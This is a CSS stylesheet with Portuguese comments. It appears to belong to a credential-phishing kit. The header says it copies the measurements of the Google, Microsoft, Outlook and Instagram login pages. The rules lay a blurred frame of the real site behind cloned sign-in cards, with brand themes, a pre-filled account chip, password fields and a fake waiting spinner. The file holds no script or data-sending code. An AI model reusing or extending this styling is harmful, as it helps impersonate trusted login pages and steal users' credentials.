/* telas_v2 — folha única, desenhada a partir das medidas reais
   dos logins Google / Microsoft / Outlook / Instagram (2026). */
:root{
  --brand:#2563eb; --accent:#1d4ed8;
  --ink:#202124; --muted:#5f6368; --line:#dadce0;
  --danger:#d93025; --radius:8px;
}
*{box-sizing:border-box}
html,body{height:100%}
body{
  margin:0; color:var(--ink); background:#f0f2f5;
  font:14px/1.45 -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
  -webkit-font-smoothing:antialiased;
}

/* ---------- fundo real + véu ---------- */
.bgframe{
  position:fixed; inset:0; width:100%; height:100%; border:0;
  z-index:0; pointer-events:none; filter:saturate(.95);
}
.bgveil{
  position:fixed; inset:0; z-index:1;
  background:rgba(240,242,245,.72);
  backdrop-filter:blur(1.5px);
}
.login.themed.outlook .bgveil,
.login.themed.microsoft .bgveil{ background:rgba(240,244,248,.74); }

/* ---------- palco ---------- */
.stage{
  position:relative; z-index:2;
  min-height:100%; display:flex; flex-direction:column;
  align-items:center; justify-content:center; padding:28px 16px;
}

/* ---------- cartão ---------- */
.card{
  width:100%; max-width:448px; background:#fff;
  border:1px solid var(--line); border-radius:var(--radius);
  padding:40px 40px 32px;
  box-shadow:0 1px 3px rgba(60,64,67,.14), 0 6px 22px rgba(60,64,67,.08);
}
.chead{display:flex; align-items:center; gap:10px; margin-bottom:18px}
.brandlogo{width:26px; height:26px; flex:0 0 26px}
.blo{
  width:26px;height:26px;flex:0 0 26px;border-radius:6px;background:var(--brand);
  color:#fff;font-weight:700;display:grid;place-items:center;font-size:14px
}
.cname{font-size:14px; font-weight:600; letter-spacing:.1px; color:var(--ink)}

.ht{font-size:24px; font-weight:400; letter-spacing:.2px; margin:4px 0 6px}
.sb{font-size:14px; color:var(--muted); margin:0 0 24px; line-height:1.5}

/* cartão "conta" (email já conhecido) */
.accchip{
  display:flex; align-items:center; gap:8px;
  border:1px solid var(--line); border-radius:24px;
  padding:6px 14px; margin:0 0 18px; width:fit-content; max-width:100%;
}
.accname{font-size:13px; color:var(--muted); overflow:hidden; text-overflow:ellipsis; white-space:nowrap}

/* ---------- campos ---------- */
.fld{margin:0 0 18px}
.fld[hidden]{display:none}
.lbl{display:block; font-size:12px; font-weight:600; color:var(--muted); margin:0 0 6px}
.fld input{
  width:100%; padding:13px 14px; font-size:15px; color:var(--ink);
  border:1px solid var(--line); border-radius:4px; background:#fff; outline:none;
  transition:border-color .12s, box-shadow .12s;
}
.fld input:focus{border-color:var(--brand); box-shadow:inset 0 0 0 1px var(--brand)}
.fld input[readonly]{background:#f8f9fa; color:var(--muted)}

/* ---------- ações ---------- */
.row{display:flex; justify-content:flex-end; margin-top:26px}
.btn{
  min-width:88px; padding:10px 24px; font-size:14px; font-weight:500;
  color:#fff; background:var(--brand); border:0; border-radius:4px; cursor:pointer;
  transition:background .12s, box-shadow .12s;
}
.btn:hover{background:var(--accent)}
.btn:disabled{opacity:.7; cursor:progress}

.err{
  margin:0 0 16px; padding:10px 12px; font-size:13px;
  color:var(--danger); background:#fce8e6; border-radius:4px;
}
.err[hidden]{display:none}

.wait{
  display:flex; align-items:center; gap:8px;
  font-size:13px; color:var(--muted); margin-top:14px;
}
.wait[hidden]{display:none}
.spin{
  width:13px;height:13px;border:2px solid var(--line);border-top-color:var(--brand);
  border-radius:50%; animation:sp .7s linear infinite
}
@keyframes sp{to{transform:rotate(360deg)}}

.ft{margin:22px 0 0; font-size:13px; line-height:1.7}
.ft a{color:var(--brand); text-decoration:none}
.ft a:hover{text-decoration:underline}
.lgl{margin:22px 0 0; font-size:11px; color:#70757a; text-align:center}

/* ---------- landing ---------- */
body.landing{display:grid; place-items:center; padding:24px}
.landing-card{width:min(400px,100%); background:#fff; border:1px solid var(--line);
  border-radius:12px; padding:36px; text-align:center; box-shadow:0 6px 26px rgba(60,64,67,.12)}
.landing-logo{width:44px;height:44px;color:var(--brand);margin-bottom:14px}
.landing-card h1{font-size:20px; font-weight:600; margin:0 0 8px}
.landing-card p{margin:0 0 22px; font-size:14px; color:var(--muted)}
.landing-card .fld{text-align:left}
.landing-card .btn{width:100%; margin-top:6px}

/* ---------- mobile ---------- */
@media(max-width:600px){
  .stage{padding:0; justify-content:flex-start}
  .card{max-width:none; min-height:100vh; border:0; border-radius:0; padding:28px 24px;
        box-shadow:none; display:flex; flex-direction:column}
  .ht{font-size:22px}
  .row{margin-top:auto}
}
@media(prefers-reduced-motion:reduce){.spin{animation:none}}
